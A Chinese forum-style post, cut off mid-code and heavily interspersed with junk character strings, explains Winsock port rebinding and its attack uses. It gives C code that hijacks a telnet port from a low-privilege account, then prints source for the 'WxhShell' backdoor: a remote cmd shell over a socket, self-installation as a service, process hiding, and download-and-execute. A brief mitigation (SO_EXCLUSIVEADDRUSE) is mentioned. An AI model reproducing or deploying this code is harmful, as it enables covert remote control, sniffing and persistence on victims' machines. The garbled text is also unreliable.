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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n7A %y2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [c`u ?=^~(x?S saddr.sin_family = AF_INET; %@q/OVnM &gv{LJd5b saddr.sin_addr.s_addr = htonl(INADDR_ANY); %)t9b@c!} J 7/)XS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NT1"?Thx| isF
jJPe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *X%dg$VcV bjq+x:> 这意味着什么?意味着可以进行如下的攻击: _x'?igy U@'F9UB` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3oo Tn-`{ i!nPiac 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Le?yzf SWq5=h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pBR9)T\n dv7IHUFf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C@P4}X0,= H?H(= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NA/hs/ ' ;$FpxurX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hQFF%xl ?|$IZ9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !et[Rdbu Fcp8RBq #include QBD\2VR #include #P,C9OQD #include rn8#nQ>QZ% #include sI,S(VWor DWORD WINAPI ClientThread(LPVOID lpParam); :~PzTUz int main() x$gVEh*k { jmkVolz WORD wVersionRequested; ~N!-4-~p DWORD ret; J]"IT*-Ht WSADATA wsaData; Cju%CE3a BOOL val;
tqMOh R SOCKADDR_IN saddr; Z\1wEGP7{ SOCKADDR_IN scaddr; um5n3=K int err; WU:r:m+
> SOCKET s; ;zpSyyp@ SOCKET sc; 13f@Ox$ int caddsize; iC`mj HANDLE mt; s9 \HjK*+ DWORD tid; n7$21*, wVersionRequested = MAKEWORD( 2, 2 ); No(p:Snbo err = WSAStartup( wVersionRequested, &wsaData );
p]^?4 if ( err != 0 ) { B098/`r printf("error!WSAStartup failed!\n"); ;*AKeI2 return -1; D,( "3zx } s0/[mAY saddr.sin_family = AF_INET; zEJZ, < FHv^^u'@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iH;IXv,b3 ^?Y x{r~9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FVo_=O) saddr.sin_port = htons(23); (Z)F6sZ`8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2$@N4 { M#'j7EMu printf("error!socket failed!\n"); MmL)CT return -1; z{uRqAG } YB?5s`vr9d val = TRUE; ]hC6PKJU //SO_REUSEADDR选项就是可以实现端口重绑定的 qVe&nXo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MEled:i { >I&'Rj&Mc printf("error!setsockopt failed!\n"); B{dR/q3;@ return -1; fEgwQ-] } c:OFBVZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4],*y`& g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W6y-~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 um}%<Cy[ Z<A BK`rEO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P)9$}9i { &40# _>W7 ret=GetLastError(); KJQW ))%e printf("error!bind failed!\n"); .kT}E5 return -1; :Y\!~J3W } NW
AT" listen(s,2); L^b /+R# while(1) R32A2Ml { y<0RgG1qp caddsize = sizeof(scaddr); +/|;<K5_LI //接受连接请求 %fH&UFby sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9% wVE] if(sc!=INVALID_SOCKET) UFOUkS
F { lBN1OL[N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \YN(rD- if(mt==NULL) WA1h|:Z { (h$[g"8 printf("Thread Creat Failed!\n"); i7#PYt break; Q}qw`L1 } O% }EpIP_ } k __MYb CloseHandle(mt); %jc"s\ } u}~j NV closesocket(s); {!]7=K)W9 WSACleanup(); R8(Bt73 return 0; J 6%CF2 } Dmq_jt DWORD WINAPI ClientThread(LPVOID lpParam) !YZ$WiPl { 6&qT1nF1
SOCKET ss = (SOCKET)lpParam; Z+EN]02| SOCKET sc; .r4M]1Of unsigned char buf[4096]; 5k]xi)% SOCKADDR_IN saddr; eX0ASI9 long num; 1v2pPUH\ DWORD val; K'tckJ#% DWORD ret; m_;<7W&p] //如果是隐藏端口应用的话,可以在此处加一些判断 qy$1+>f1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |u5Xi5q.f saddr.sin_family = AF_INET; T x
6\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M%S.Z4D
(0 saddr.sin_port = htons(23); |Js?@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -Rcl(Q}LZ { 3l?-H|T printf("error!socket failed!\n"); A
KjCm*K(q return -1; T:?01?m } FM=-^l, val = 100; Ce~
a(J|" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0[QVU,]< { =E~)svl6g ret = GetLastError(); tg|7\Z7i return -1; Aav|N3 } -q6d&D'B+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QgB%\mO= { @Y| % ret = GetLastError(); RX6s[uQ return -1; S1&Df%Ra } Y[p if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rk(2|I {
~d\>f printf("error!socket connect failed!\n"); ?$Tp|<tx# closesocket(sc); 0n('F closesocket(ss); _4lhwKYU return -1; "(cMCBVYdA } E3`&W8 while(1) `k.Nphx~% { Vh o3I[C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3`3`iN!8\@ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ckCb)r_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oe,37xa4 num = recv(ss,buf,4096,0); [:xpz, if(num>0) ZBcT@hxm send(sc,buf,num,0); @b2JR^ else if(num==0) -ZKo/N>6} break; j$Unw num = recv(sc,buf,4096,0); 9d8bh4[ if(num>0) T>e4Og"? send(ss,buf,num,0); ouO<un else if(num==0) AC& }8w[>u break; FXd><#U } i<>zN^zn closesocket(ss); p^/6Rb"e closesocket(sc); #lo1GoL\ return 0 ; \pJBBG } 3<vw#]yL ~SD8#;v2 w>6~
zAh ========================================================== '$m
uA\ 8<X,6 下边附上一个代码,,WXhSHELL !hS~\+E 5L% \rH&N ========================================================== s J~WzQ JS{trqc1d #include "stdafx.h" /QT"5fxKJ <-avC/M$d #include <stdio.h> h|OsT #include <string.h> v5Qp[O_ #include <windows.h> #G`UR #include <winsock2.h> W]l&mr #include <winsvc.h> z&@O\>Q #include <urlmon.h> O77bm,E -Uu65m~:{k #pragma comment (lib, "Ws2_32.lib") !GL
kAV #pragma comment (lib, "urlmon.lib") n$z+g>~N BL?Bl&p( #define MAX_USER 100 // 最大客户端连接数 s4uYp #define BUF_SOCK 200 // sock buffer >56I`[) #define KEY_BUFF 255 // 输入 buffer f 3t&Bcw$ c u:1|gt
#define REBOOT 0 // 重启 Ed$;#4 #define SHUTDOWN 1 // 关机 L28DBj E)A }k7t#O #define DEF_PORT 5000 // 监听端口 +;*dFL Tu*"+*r>s #define REG_LEN 16 // 注册表键长度 SuuLB6{u3 #define SVC_LEN 80 // NT服务名长度 )~CnDk}^R jXCSD@?]K // 从dll定义API {=)g?!zC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :,]*~Nl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t=B>t S.hO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }63Qh}_Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QW[
gDc U 4Sxr // wxhshell配置信息 b!hs|emo; struct WSCFG { Yj-JB int ws_port; // 监听端口 5:W5@e{ char ws_passstr[REG_LEN]; // 口令 `N.^+Mvx- int ws_autoins; // 安装标记, 1=yes 0=no I C?bqC+ char ws_regname[REG_LEN]; // 注册表键名 $-Wn|w+h<a char ws_svcname[REG_LEN]; // 服务名 (|kcSnF0 char ws_svcdisp[SVC_LEN]; // 服务显示名 ~n<U8cm O char ws_svcdesc[SVC_LEN]; // 服务描述信息 x;;
= +)Gg char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z&w/JP? int ws_downexe; // 下载执行标记, 1=yes 0=no Q#a<T4l char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" :l/?cV; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g(`m#&P>G Q^c)T>OAI }; LFHzd@Y7" R_|Sg // default Wxhshell configuration ~0 5p+F) struct WSCFG wscfg={DEF_PORT, TcjTF|q> "xuhuanlingzhe", piv/QP-X 1, `$hna{e^n "Wxhshell", !Ic{lB "Wxhshell", %
bpVK~z "WxhShell Service", g.9:R=JPT "Wrsky Windows CmdShell Service", vvvH5NRm "Please Input Your Password: ", |gP9^B?3 1, Hvj1R.I/ " http://www.wrsky.com/wxhshell.exe", VP\'p1a "Wxhshell.exe" #MwNyZ }; 6Uik>e7? njoU0f1` // 消息定义模块 ) }.<lSw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =iZj&B X char *msg_ws_prompt="\n\r? for help\n\r#>"; S, g/2k* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M!Hn`_E char *msg_ws_ext="\n\rExit."; Eh{]so char *msg_ws_end="\n\rQuit."; dYP-QUM$7 char *msg_ws_boot="\n\rReboot..."; k_$9cVA char *msg_ws_poff="\n\rShutdown..."; Rfuq(DwD6 char *msg_ws_down="\n\rSave to "; f5p:o}U* wE*jN~ char *msg_ws_err="\n\rErr!"; ;3 |Z}P char *msg_ws_ok="\n\rOK!"; "B9aJo .PHz
char ExeFile[MAX_PATH]; %%-hax.x0X int nUser = 0; h0v4!`PQ- HANDLE handles[MAX_USER]; XC NM int OsIsNt; ]z{f)`;I ImnN&[Cu SERVICE_STATUS serviceStatus; IC[iCrB SERVICE_STATUS_HANDLE hServiceStatusHandle; f:)%+)U<Xm h9J%NH // 函数声明 Ny
oRp int Install(void); VUD ?iv7 int Uninstall(void); H[S 4o, int DownloadFile(char *sURL, SOCKET wsh); Q
\E[py int Boot(int flag); :j=/>d],% void HideProc(void); /`)>W : int GetOsVer(void); 'i5V6yB int Wxhshell(SOCKET wsl); #4Z]/D2G void TalkWithClient(void *cs); kCoTz"Z- int CmdShell(SOCKET sock); qwz_.=5E6 int StartFromService(void); K;fRDE){ int StartWxhshell(LPSTR lpCmdLine); UCv9G/$ XX@@tzN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NjL^FqA[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )X
dpzWod &-s/F` // 数据结构和表定义 X?Yp=%% SERVICE_TABLE_ENTRY DispatchTable[] = 1`;,_>8 { 5*he {wscfg.ws_svcname, NTServiceMain}, ecjjCt2S {NULL, NULL} 9N?BWv} }; '=^$;3Z l'#P:eW // 自我安装 kS@6'5U int Install(void) _r6aLm2n { 8&0+Az"{O char svExeFile[MAX_PATH]; >gqd
y*Bg HKEY key; %%=PpKYtSD strcpy(svExeFile,ExeFile); AlQE;4yX $u`v
k|\R // 如果是win9x系统,修改注册表设为自启动 4z$}e- if(!OsIsNt) { yhBf %m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a/(IvOy#6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /%'>?8/ RegCloseKey(key); oK! W<# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U<|h4'(@L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P<1ZpL RegCloseKey(key); }/{G return 0; BRu/pyxG } mF|7:zSo } [`u3SN/P } ^{vf|zZ _ else { /<\B8^yQ tCw.wDq3= // 如果是NT以上系统,安装为系统服务 6N^sUc0s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >>'t7U## if (schSCManager!=0) Lh"!Z { HalkNR-eEm SC_HANDLE schService = CreateService q')MKR* ( 6tKm'`^z4 schSCManager, ~jqG wscfg.ws_svcname, svBT~P0x wscfg.ws_svcdisp, 2?)bpp$WZ SERVICE_ALL_ACCESS,
~MOab e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rp!R&U/ SERVICE_AUTO_START, e!:/enQo SERVICE_ERROR_NORMAL, [^U#ic>cT svExeFile, %kcyE<c NULL, D)u 9Y NULL, QnWM<6xK" NULL, <`~zKFUQ[ NULL, b.<>CG' NULL ns{BU->f ); ;T6x$e if (schService!=0) j#`d%eQ~J { @L)=epC CloseServiceHandle(schService); e>:bV7h
j~ CloseServiceHandle(schSCManager); 0^27grU> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ot]Y/;K strcat(svExeFile,wscfg.ws_svcname); 2I2#o9(Ar if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w# t[sI"IT RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \;b)qB RegCloseKey(key); 6"d^4L? return 0; H|uvc vf } -RSPYQjz } <NLor55.] CloseServiceHandle(schSCManager); *TjolE~o }
-\.'WZo` } A=v^`a03I S;582H9D return 1; k]vrqjn Q } I^5T9}>Q ]G0`W6;$] // 自我卸载 YEEgDw]BQ int Uninstall(void)
QTN
_Z#' { g' xR$6t HKEY key; q=M\#MlL0' q 16jL,i if(!OsIsNt) { Y[A`r0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =s2dD3Fr| RegDeleteValue(key,wscfg.ws_regname); t5%\`Yo? RegCloseKey(key); j:yQP#U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Whf7J' RegDeleteValue(key,wscfg.ws_regname); GS%i<HQ3 RegCloseKey(key); ,@_$acm return 0; suh@ } n.[0#Ur&} } {L!w/Ie X } j4au
Zl]NF else { @aG1PG{ %'}L.OvG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x,sMa*vd if (schSCManager!=0) a:PS}_. { kp4*|$] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jl"),;Od if (schService!=0) blwdcdh { > n~l\
fC if(DeleteService(schService)!=0) { e7{n=M CloseServiceHandle(schService); hrwQh2sm CloseServiceHandle(schSCManager); YU89m7cc' return 0; {[~
!6&2(k } +fgF &. CloseServiceHandle(schService); X7I"WC1ncz } }`oe<| CloseServiceHandle(schSCManager); ~zklrBn& } y\'t{>U/ } t|gEMDGa3 O1@-)<_71 return 1; ~ caKzq } wAr (5nEbx ?fog
34g // 从指定url下载文件 &CvNNDgrJ int DownloadFile(char *sURL, SOCKET wsh) rf+'U9 { )`RF2Y-A7 HRESULT hr; gr'M6&> char seps[]= "/"; Dt~Jx\\ char *token; gI&& LwT4 char *file; &%~2Wm char myURL[MAX_PATH]; {iP^51fy char myFILE[MAX_PATH]; |~mi6 lJ6 M DnT strcpy(myURL,sURL); ZQT14. $L token=strtok(myURL,seps); m6aq_u{W while(token!=NULL) +\FTR
{ 5!ll
#/ {` file=token; /B$"fxFf token=strtok(NULL,seps); ckqU2ETpD} } G?LPj*=$? /znW$yh o GetCurrentDirectory(MAX_PATH,myFILE); kL.JrbM" strcat(myFILE, "\\"); z6)SaSYE strcat(myFILE, file); &qki
NS send(wsh,myFILE,strlen(myFILE),0); Z!TLWX" send(wsh,"...",3,0); `~Eo;'( +^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Le9^,B@Pb if(hr==S_OK) '`q&UPg] return 0; L\||#w else P8K{K:T return 1; J4qFU^ \(t.| } .+<Ul]e/ T}(J`{9i // 系统电源模块 ;d1\2H int Boot(int flag) O:fv1 { >9{Gdq[gyr HANDLE hToken; 1FU(j*~: TOKEN_PRIVILEGES tkp; 0>Y3>vwSl 7Op6>i
if(OsIsNt) { fX).A` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \ajy%$;$} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L]L-000D( tkp.PrivilegeCount = 1; +tL]qOBP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8\m_.e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d`LBFH, if(flag==REBOOT) { ]KfjZ!Qh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?[Od. return 0; $m`?x5rL8 } O/^7TBTn<r else { 75~>[JM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ffK A return 0; x^kV;^ I } 5V&3m@d0aq } <syMrXk)R( else { SwV{t}I if(flag==REBOOT) { 'qS&7
W( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <6`_Xr7) return 0; ?yfk d:WD } gF;i3OJg else { n7`R+4/s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q3\
YL? return 0; <Q'J=;vV } !(PAUWS@ } NF <|3| rvZXK<@#+ return 1; l5ww-#6Z } bCY8CIF tz-, |n0 // win9x进程隐藏模块 [mKPOg-t void HideProc(void) K'.aQ&2 { VfOm#Ue0q smQ<lwA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p\66`\\l if ( hKernel != NULL ) sf4NKe2* { o5dPE{f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F@Qzh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RnV
)* FreeLibrary(hKernel); VdpwZ } (K"U# Zn ~G.'pyW return; ohqi4Y!j/~ } '`Eb].s* a#t:+iw // 获取操作系统版本 MPx%#'Q int GetOsVer(void) s86Ij>VLf { 9|v3lGK( OSVERSIONINFO winfo; ?s[ kUv+= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?zW4|0 GetVersionEx(&winfo); Vo^
i7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _oK*1#Rm8 return 1; /?<o?IR~6 else H'E(gc)>) return 0; .$5QM& } Coz\fL s Wk92x _l // 客户端句柄模块 $eUI.j(HU int Wxhshell(SOCKET wsl) $_NYu { T:& SOCKET wsh; {/SUfXq struct sockaddr_in client; o.IJ4'}aN DWORD myID; e E:J
4SRX@/ #8* while(nUser<MAX_USER) R&Y+x;({ {
bK:mt `
int nSize=sizeof(client); 7}>7@W8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `R@1Sc<*| if(wsh==INVALID_SOCKET) return 1; %fB]N y/57 >.3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X}*\/(fzl if(handles[nUser]==0) IzPnbnS} closesocket(wsh); CX/ _\0G4 else d>[=] nUser++; k I } (/TYET_H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r:fMd3;gq BEWDTOY[ return 0; gXZl3 } hKo& ZWPq pRyePxCDj) // 关闭 socket <4r3ZV;' void CloseIt(SOCKET wsh) E(]39B"i { }pqnF53 closesocket(wsh); 6v(?Lr`D nUser--; 1vw[{.wC ExitThread(0); z2'3P{#s } C sXV0 LYY3*d // 客户端请求句柄 MYyV{W*T> void TalkWithClient(void *cs) %
NSb8@ { <y4hK3wP o~<ith$A* SOCKET wsh=(SOCKET)cs; >@?!-Fy5 char pwd[SVC_LEN]; ~jcdnm] char cmd[KEY_BUFF]; }7)iLfi char chr[1]; Z!HQ|')N5 int i,j; H,8HGL[l
X0a)6HZ{ while (nUser < MAX_USER) { "m2g"xa\7 ?r
P'PUB if(wscfg.ws_passstr) { +d/V^ <# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H!N`hEEj> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m5i?<Ko@ //ZeroMemory(pwd,KEY_BUFF); 'x/pV5[hQ i=0; KV&4Ep# while(i<SVC_LEN) { 7dxTyn= PydU.,^7 // 设置超时 D@.+B`bA fd_set FdRead; ;W"=s79 struct timeval TimeOut; z)AZ:^!O FD_ZERO(&FdRead); ))M!"* FD_SET(wsh,&FdRead); \N3A2L)l TimeOut.tv_sec=8; \PU7,*2 TimeOut.tv_usec=0; Q`= ,&;T> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k5M3g* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :c03"jvYE (rTn6[* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lqaOLZH pwd =chr[0]; ,u.G6"< if(chr[0]==0xd || chr[0]==0xa) { vG X
L'k pwd=0; &Ul8h,qw break; o/dj1a~U }
\\U,|}L . i++; ULT,>S6r } t[=-4; ^&[Z@*A8# // 如果是非法用户,关闭 socket 2g0_[$[m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xlKg0&D } mCb1^Y PCqE9B)l send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J_-K"T|f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {KQ]"a 6 85e!)I_ while(1) { {pJf~ v?6g.
[;? ZeroMemory(cmd,KEY_BUFF); {wK|C<K czG]rl\1 // 自动支持客户端 telnet标准 *3R3C+
L j=0; OV>JmYe1{/ while(j<KEY_BUFF) { ;*+wg5| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5EX
Ghc' cmd[j]=chr[0]; -d+o\qp"# if(chr[0]==0xa || chr[0]==0xd) { d
U}kimz cmd[j]=0; I9VU,8~ break; TmEJ!)* } ja2BK\"1: j++; eN,6p'& } h85kQ^% ^}Wk // 下载文件 yiO/0n Mp if(strstr(cmd,"http://")) { +H**VdM6s send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]=Tle&yM+T if(DownloadFile(cmd,wsh)) aGz$A15# send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS[@3h else |#i|BVnoE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $:}sm0; } z%lLbKSe else { oVAY}q|wU :iEIo7B switch(cmd[0]) { R!z32 <5k
`fM]3]x> // 帮助 E7`Q=4@e case '?': { KAI/*G\z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @h
E7F} break; wg}rMJoG| } 4
Q<c I2| // 安装 wAA9M4 case 'i': { is6M{K3 if(Install()) ;
8B)J<y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oj]4jRew else ~ TfN*0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8?4/ break; -Cc2|~n } :ceT8-PBRx // 卸载 Va-. case 'r': { 1e)5D& njS if(Uninstall()) `:*O8h~i^8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L "[>tY else 3uy^o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*WSjuFr2 break; qe_qag9 } h8
!(WO! // 显示 wxhshell 所在路径 ^3O`8o case 'p': { 8{B]_:
-: char svExeFile[MAX_PATH]; $ISx0l~ strcpy(svExeFile,"\n\r"); _t-e.2a
v strcat(svExeFile,ExeFile); [AN= G!r send(wsh,svExeFile,strlen(svExeFile),0); qA>C<NL break; ?'/#Gt` } M{)|9F // 重启 H[[#h=r0f case 'b': { I7]qTS[vg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2qDyb]9 if(Boot(REBOOT)) bH`r=@.:cu send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=oIvSnh else { L)QAI5o:3 closesocket(wsh); ,sZ)@?e ExitThread(0); =@*P})w5. } E oh{+>:6 break; q Oyo+hu } OhiY < // 关机 iPK:gK3Q case 'd': { !.cno& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &]S\GnqlU] if(Boot(SHUTDOWN)) La8 D%N send(wsh,msg_ws_err,strlen(msg_ws_err),0); YgR}y+q^6 else { !V27ln KP+ closesocket(wsh); DTN)#GCtF ExitThread(0); |y DaFv } EHH+)mlo break; E5Zxp3 N } V]W-**j< // 获取shell l|L
]==M case 's': { VpyqVbx1 CmdShell(wsh); EXizRL-9o closesocket(wsh); %d^ =$Q ExitThread(0); LA4,o@V` break; vT;~\,M } Cm%xI&Y // 退出 `%$l
b:e case 'x': { w\%AR1,rs send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
tk66Ggi[K CloseIt(wsh); fD~f_Wr break; >o4Ih^VB } n _eN|m?@ // 离开 /c!@ H(^) case 'q': { gxCl=\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q7(I' closesocket(wsh); XGSgx WSACleanup(); WKB
K)= exit(1); "7}e~*bM?` break; get$r5 } )~C+nb '6/ } 4O'%$6KR( } ,jJbQIu# 19*D*dkBR // 提示信息 @XN*H- | if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (dHil#l }
4Ixu% } 6g 5Lf) yG v{O(}@ return; &H:2TL! } 'M=V{.8U r%FfJM@! // shell模块句柄 l5<&pb#b int CmdShell(SOCKET sock) qMmhVUx { qs3V2lvYw{ STARTUPINFO si; n}3fItSJ ZeroMemory(&si,sizeof(si)); 2+}hsGnp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LLd5Z44v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zc&i 4K PROCESS_INFORMATION ProcessInfo; u$
a7 char cmdline[]="cmd"; ';KZ.D CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P$Fq62;}r4 return 0; DlxL: } Ybp';8V pe>[Ts`2F // 自身启动模式 XG8UdR| int StartFromService(void) Z>_F:1x { M&5De{LS} typedef struct {8w,{p` { JB9s#` DWORD ExitStatus; nD}CQ_C DWORD PebBaseAddress; pg/SYEvsV DWORD AffinityMask; cb`ik)=K% DWORD BasePriority; e6
a]XO^ ULONG UniqueProcessId; ]z"7v ULONG InheritedFromUniqueProcessId; -jcgxQH53 } PROCESS_BASIC_INFORMATION; FSHC\8siS a
